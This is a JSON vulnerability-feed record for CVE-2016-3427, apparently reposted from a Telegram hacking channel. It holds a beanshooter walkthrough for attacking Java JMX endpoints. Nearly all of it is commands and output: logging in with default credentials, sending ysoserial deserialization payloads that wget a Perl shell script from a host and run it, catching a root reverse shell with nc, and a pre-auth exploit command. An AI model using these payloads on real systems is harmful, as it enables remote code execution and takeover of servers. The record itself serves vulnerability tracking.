{"uuid": "ed7a0248-2a5a-4ad2-91f2-26dff2f19482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17402", "content": "In case of authenticated JMX endpoints, it is pretty common that usage of MLet does not work, even with valid credentials.  The following listing shows an attempt to deploy a malicious MBean on an authenticated JMX endpoint:  [qtc@kali ~]$ beanshooter --ssl  172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[-] The following exception was thrown: java.lang.SecurityException: Authentication failed! Credentials required\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Getting Status of MLet... done!\n[+] MLet is not registered on the JMX server.\n[+] Getting Status of malicious Bean... done!\n[+] malicious Bean is not registered on the JMX server.\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 1   72.18.0.2 9010 deployAll\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Creating MBean 'MLet' for remote deploymet... failed!\n[-] The following exception was thrown: java.lang.SecurityException: Access denied! Creating an MBean that is a ClassLoader is forbidden unless a security manager is installed.  In these cases it might still be possible to attack the JMX endpoint by using deserialization attacks. To allow such attacks, the ysoserial (https://github.com/frohoff/ysoserial)  project can be integrated to beanshooter by specifying the path to the corresponding ysoserial .jar file. This can be configured either in the configuration file or by using the  --yso command line option. The default location is /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar.  With ysoserial setup correctly, one can attempt a deserialization (https://www.kitploit.com/search/label/Deserialization) attack against the target:  [qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"wget -O /dev/shm/s.pl http://172.18.0.1:8000/shell.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"perl /dev/shm/s.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConn   ection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:45994.\nid\nuid=0(root) gid=0(root) groups=0(root)  Older JMX instances might also be vulnerable to CVE-2016-3427, which is basically a pre-auth deserialization vulnerability.  Whereas the above deserialization attack should work against the RMI based connector as well as against JMXMP based connector,  the pre-auth attack only works against the RMI based connector:  [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 cve-2016-3427 CommonsCollections6 \"perl /dev/shm/s.pl\"\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.932520Z"}